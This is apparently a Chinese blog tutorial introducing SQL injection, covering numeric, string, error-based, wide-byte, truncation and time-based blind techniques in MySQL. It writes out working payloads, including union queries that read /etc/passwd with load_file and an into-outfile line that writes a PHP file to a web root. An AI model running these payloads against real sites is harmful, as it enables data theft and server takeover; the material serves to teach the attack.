浅谈SQL注入
先看一个sql语句:
select * from admin where username='(此处为用户输入的数据)';
在没有任何过滤的情况下,如果用户输入:' or 1=1 --
这条语句就为:select * from admin where username='' or 1=1 --';
可见,语句执行永远为真。此时就进行了sql注入。
SQL注入有如下分类:
一、数字型注入
初始参数为:id=1
可以构造:id=1 or 1=1 (语句执行永远为真)
id=1 and 1=2 (语句执行永远为假)
id=1' (语句执行会出错)
数字型注入较为简单,而且一般在PHP,ASP等弱类型语言中存在,而对于Java,C#等强类型语言一般不存在。
二、字符型注入
字符型注入首先想到的是闭合单引号。
不难想到:id=1' and 1=2 --
-- 是注释后边的语句。
三、其他注入
sql注入其实可以说就是字符型注入和数字型注入。
还有一些常见的注入,如:
POST注入:注入字段在POST数据中。
Cookie注入:注入字段在Cookie字段中。
延时注入:使用数据库延时特性注入。
base64注入:注入字符串需要经过base64加密。
四、Mysql特性
mysql是一种数据库。
(1)三种注释:
#:注释从“#”字符到行尾。
--:注释“-- ”序列到行尾。注意:“-- ”后面要加一个空格。
/**/:注释/* XXXX */中间的字符。
/**/注释存在一个特点:select id /*!55555,username*/ from users
语句正常执行。/*!55555,username*/的意思是若Mysql版本号高于或者等于5.55.55,语句将会被执行。如果“!”后面不加入版本号,将直接执行sql语句。
(2)mysql函数利用
load_file()函数读文件
读取文件,文件必须在服务器上,文件必须为绝对路径,必须有权限,文件容量小于 max_allowed_packet字节(默认为16MB,最大为1GB),如:
union select 1,load_file('/etc/passwd'),3,4,5,6 #
绕过单引号:union select 1,load_file(字符串转换为十六进制),3,4,5,6 #
union select 1,load_file(char(XX,XX,XX........)),3,4,5,6 # ascii码
into outfile写文件操作
必须持有权限,文件名为绝对路径。
如:select '<?php phpinfo(); ?>' into file 'c:\wwwroot\1.php'
绕过单引号:select char(XX,XX,XX.......) into file 'c:\wwwroot\1.php'
concat 连接字符串
concat(user(),0x2c,database())
concat_ws(0x2c,user(),database()) 0x2c是 逗号的16进制。
五、Mysql报错注入
(1)updatexml
select * from admin where id=1 and updatexml(1,(concat(0x7c,(select @@version))),1);
结果返回一个错误:'|5.1.50-community-log'
(2)extractvalue
select * from admin where id=1 and extractvalue(1,concat(0x7c,(select user())));
结果返回一个错误:'|root@localhost'
(3)floor
select * from admin where id = 1 union select * from (select count(*),concat(floor(rand(0)*2),(select user()))a from information_schema.tables group by a)b
结果返回:Duplicate entry '1root@localhost' for key 'group_key'
六、宽字节注入
如果PHP开启了魔术引号,就会将单引号,双引号,反斜杠和NULL字符加上反斜杠转义。
如:id=' 会输出 \'
这时我们可以使用宽字节注入:id=%d5' 输出:誠' 注入成功。
我们将 誠 进行url编码:%d5%5c
而 \的url编码为:%5c 可见 ,繁体字将反斜杠吃掉了。这就是宽字节注入的原理。
七、长字符截断
原理很简单。
比如在数据库创建三个如下用户:
admin (有三个空格)
admin (有五个空格)
admin (有七个空格)
三个用户名长度不一样,但是如果 查询admin用户名,三个用户名都会被查询到。
假设后台语句是:
select count(*) from users where username='admin' and password='******';
这是存在安全问题的,如果用户创建一个“admin ”用户,即可轻易进入后台,著名的wordpress就被这样的方式攻击过。
八、延时注入
基于时间差异的盲注手段。延时注入需要用到sleep()函数。
如:select * from users where id = 1 and sleep(3) #三秒后执行sql语句。
也可以判断是否存在注入:url+id=1 and sleep(3) 页面三秒左右打开,则存在注入。
通常 会采用和 if 函数 搭配使用,进行爆破字符串。
如: and if(hex(mid(user(),L,1)))=N,sleep(3),1)
L的位置代表字符串的第几个字符,N代表ASCII码。
执行成功,则三秒左右返回页面,否则,和原来相同。
ps:坚持,努力,为梦想奋斗。
浅谈SQL注入的更多相关文章
- 浅谈SQL注入风险 - 一个Login拿下Server
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 浅谈SQL注入风险 - 一个Login拿下Server(转)
前两天,带着学生们学习了简单的ASP.NET MVC,通过ADO.NET方式连接数据库,实现增删改查. 可能有一部分学生提前预习过,在我写登录SQL的时候,他们鄙视我说:“老师你这SQL有注入,随便都 ...
- 【sql注入】浅谈sql注入中的Post注入
[sql注入]浅谈sql注入中的Post注入 本文来源:i春秋学院 00x01在许多交流群中,我看见很多朋友对于post注入很是迷茫,曾几何,我也是这样,因为我们都被复杂化了,想的太辅助了所以导致现在 ...
- 浅谈SQL注入漏洞以及防范策略
--HeShiwei 2014-5-15 什么是SQL注入 SQL注入,指的是用户通过向登录框输入恶意字符,利用代码的字符串拼接漏洞进行网站注入攻击,最终导致整个网站用户表信息泄露的攻击方式.黑客就是 ...
- 浅谈 SQL 注入(注入篇)
一.SQL注入简介 1.1 什么是SQL注入 在用户可控制的参数上过滤不严或没有任何限制,使得用户将传入的参数(如URL,表单,http header)与SQL语句合并构成一条 SQL语句传递给web ...
- 转【】浅谈sql中的in与not in,exists与not exists的区别_
浅谈sql中的in与not in,exists与not exists的区别 1.in和exists in是把外表和内表作hash连接,而exists是对外表作loop循环,每次loop循环再对内表 ...
- 浅谈sql中的in与not in,exists与not exists的区别
转 浅谈sql中的in与not in,exists与not exists的区别 12月12日北京OSC源创会 —— 开源技术的年终盛典 » sql exists in 1.in和exists ...
- 浅谈sql 、linq、lambda 查询语句的区别
浅谈sql .linq.lambda 查询语句的区别 LINQ的书写格式如下: from 临时变量 in 集合对象或数据库对象 where 条件表达式 [order by条件] select 临时变量 ...
- 浅谈SQL优化入门:3、利用索引
0.写在前面的话 关于索引的内容本来是想写的,大概收集了下资料,发现并没有想象中的简单,又不想总结了,纠结了一下,决定就大概写点浅显的,好吧,就是懒,先挖个浅坑,以后再挖深一点.最基本的使用很简单,直 ...
随机推荐
- 移动前端—H5实现图片先压缩再上传
在做移动端图片上传的时候,用户传的都是手机本地图片,而本地图片一般都相对比较大,拿iphone6来说,平时拍很多图片都是一两M的,如果直接这样上传,那图片就太大了,如果用户用的是移动流量,完全把图片上 ...
- 洛谷P4103 [HEOI2014]大工程(虚树 树形dp)
题意 链接 Sol 虚树. 首先建出虚树,然后直接树形dp就行了. 最大最小值直接维护子树内到该节点的最大值,然后合并两棵子树的时候更新一下答案. 任意两点的路径和可以考虑每条边两边的贡献,\(d[x ...
- Android RecycleView多种布局实现(工厂模式)
RecycleView是个很常用的控件,很多APP中都可以看到它的身影,同时它也是个很难用的控件,主要就难在多种布局的实现. 在<第一行代码—Android>这本书里边有个RecycleV ...
- linux tmp清理这些事
tmp目录 首先看下FHS的定义. FHS(Filessystem Hierarchy Standard) 的重点在于规范每个特定的目录下应该要放置什么样子的数据. tmp约定的存放内容 /tmp 这 ...
- Django APP打包重用
引言 有时候,我们需要将自己写的app分发(dist)给同事,分享给朋友,或者在互联网上发布,这都需要打包.分发我们的app. Django的子系统重用是基于app级别的.也就是一个项目可以包含多个互 ...
- MapReduce ----倒排索引
分别建立三个文件: file1txt file2.txt file3.txt 文件内容分别是: MapReduce is simple 和 MapReduce is powerful is simpl ...
- [20181007]12cR2 Using SQL Patch 2.txt
[20181007]12cR2 Using SQL Patch 2.txt --//12cR2 已经把sql打补丁集成进入dbms_sqldiag,不是11g的 DBMS_SQLDIAG_INTERN ...
- sql server 通用修改表数据存储过程
ALTER PROC [dbo].[UpdateTableData] ), ), ), ), ) AS BEGIN ) SET @sql ='UPDATE '+@TableName; --获取SqlS ...
- SQL Server "允许远程连接到此服务器" 配置
在SQL Server的属性-->连接中我们可以看到这样一个选项:'允许远程连接到此服务器'(英文是remote access),其默认值是1,表示此选项开启. 但是这个参数并非是字面上所显示的 ...
- 【2018.04.19 ROS机器人操作系统】机器人控制:运动规划、路径规划及轨迹规划简介之一
参考资料及致谢 本文的绝大部分内容转载自以下几篇文章,首先向原作者致谢,希望自己能在这些前辈们的基础上能有所总结提升. 1. 运动规划/路径规划/轨迹规划的联系与区别 https://blog.csd ...